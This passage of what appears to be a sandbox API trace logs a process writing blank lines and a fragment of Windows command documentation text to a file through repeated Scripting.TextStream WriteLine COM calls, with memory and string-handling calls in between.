out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.701] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876afe8, pBstrHelpFile=0x249c8758f60*="齰졵ɉ") returned 0x0 [0148.701] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876ada8, pBstrHelpFile=0x249c8758f60*="齰졵ɉ") returned 0x0 [0148.701] malloc (_Size=0x8) returned 0x249c884ed20 [0148.701] malloc (_Size=0x14) returned 0x249ca447690 [0148.701] _snwprintf_s (in: _DstBuf=0x249ca447690, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.701] malloc (_Size=0x4e) returned 0x249c884a540 [0148.701] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.701] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.701] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.701] wcsncpy_s (in: _Destination=0x249ca4d5aee, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.701] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.702] free (_Block=0x249ca447690) [0148.702] free (_Block=0x249c884ed20) [0148.702] free (_Block=0x249c884a540) [0148.702] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b5c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b5c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.702] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.702] SysReleaseString () returned 0x1 [0148.702] CoTaskMemFree (pv=0x249c87617c0) [0148.702] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.702] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.702] CoTaskMemAlloc (cb=0x28) returned 0x249c87617f0 [0148.702] SysAddRefString () returned 0x0 [0148.702] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.702] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.702] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.702] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876ada8, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.703] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b228, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.703] malloc (_Size=0x8) returned 0x249c884ecc0 [0148.703] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.703] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.703] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.703] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.703] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.703] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.703] wcsncpy_s (in: _Destination=0x249ca4d3bc2, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.703] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.703] free (_Block=0x249c884ee60) [0148.703] free (_Block=0x249c884ecc0) [0148.703] free (_Block=0x249ca4d5de0) [0148.703] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b618*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b618*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.703] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.703] SysReleaseString () returned 0x1 [0148.703] CoTaskMemFree (pv=0x249c87617f0) [0148.703] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.703] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.704] CoTaskMemAlloc (cb=0x28) returned 0x249c87618b0 [0148.704] SysAddRefString () returned 0x0 [0148.704] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.704] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.704] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.704] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b228, pBstrHelpFile=0x249c8758f60*="ꅰ졵ɉ") returned 0x0 [0148.704] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8769e98, pBstrHelpFile=0x249c8758f60*="ꅰ졵ɉ") returned 0x0 [0148.704] malloc (_Size=0x8) returned 0x249c884ed10 [0148.704] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.704] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.704] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.704] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.704] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.704] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.704] wcsncpy_s (in: _Destination=0x249ca4d3cae, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.704] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.704] free (_Block=0x249c884ee60) [0148.704] free (_Block=0x249c884ed10) [0148.704] free (_Block=0x249ca4d5de0) [0148.705] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b670*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b670*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.705] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.705] SysReleaseString () returned 0x1 [0148.705] CoTaskMemFree (pv=0x249c87618b0) [0148.705] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.705] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.705] CoTaskMemAlloc (cb=0x28) returned 0x249c87615e0 [0148.705] SysAddRefString () returned 0x0 [0148.705] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.705] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.705] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.705] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8769e98, pBstrHelpFile=0x249c8758f60*="ꀰ졵ɉ") returned 0x0 [0148.705] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b4c8, pBstrHelpFile=0x249c8758f60*="ꀰ졵ɉ") returned 0x0 [0148.705] malloc (_Size=0x8) returned 0x249c884ed50 [0148.706] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.706] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.706] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.706] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.706] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.706] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.706] wcsncpy_s (in: _Destination=0x249ca4d3d9a, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.706] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.706] free (_Block=0x249c884ee60) [0148.706] free (_Block=0x249c884ed50) [0148.706] free (_Block=0x249ca4d5de0) [0148.706] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b6c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b6c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.706] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.706] SysReleaseString () returned 0x1 [0148.706] CoTaskMemFree (pv=0x249c87615e0) [0148.706] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.706] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.707] CoTaskMemAlloc (cb=0x28) returned 0x249c87617c0 [0148.707] SysAddRefString () returned 0x0 [0148.707] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.707] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.707] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.707] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b4c8, pBstrHelpFile=0x249c8758f60*="ꏰ졵ɉ") returned 0x0 [0148.707] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b588, pBstrHelpFile=0x249c8758f60*="ꏰ졵ɉ") returned 0x0 [0148.707] malloc (_Size=0x8) returned 0x249c884edd0 [0148.707] malloc (_Size=0x14) returned 0x249ca447790 [0148.707] _snwprintf_s (in: _DstBuf=0x249ca447790, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.707] malloc (_Size=0x4e) returned 0x249c884a540 [0148.707] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.707] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.707] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.707] wcsncpy_s (in: _Destination=0x249ca4d3e86, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.707] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.707] free (_Block=0x249ca447790) [0148.708] free (_Block=0x249c884edd0) [0148.708] free (_Block=0x249c884a540) [0148.708] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b720*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b720*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.708] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.708] SysReleaseString () returned 0x1 [0148.708] CoTaskMemFree (pv=0x249c87617c0) [0148.708] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.708] FileSystemObject:IDispatch:GetIDsOfNames (in: 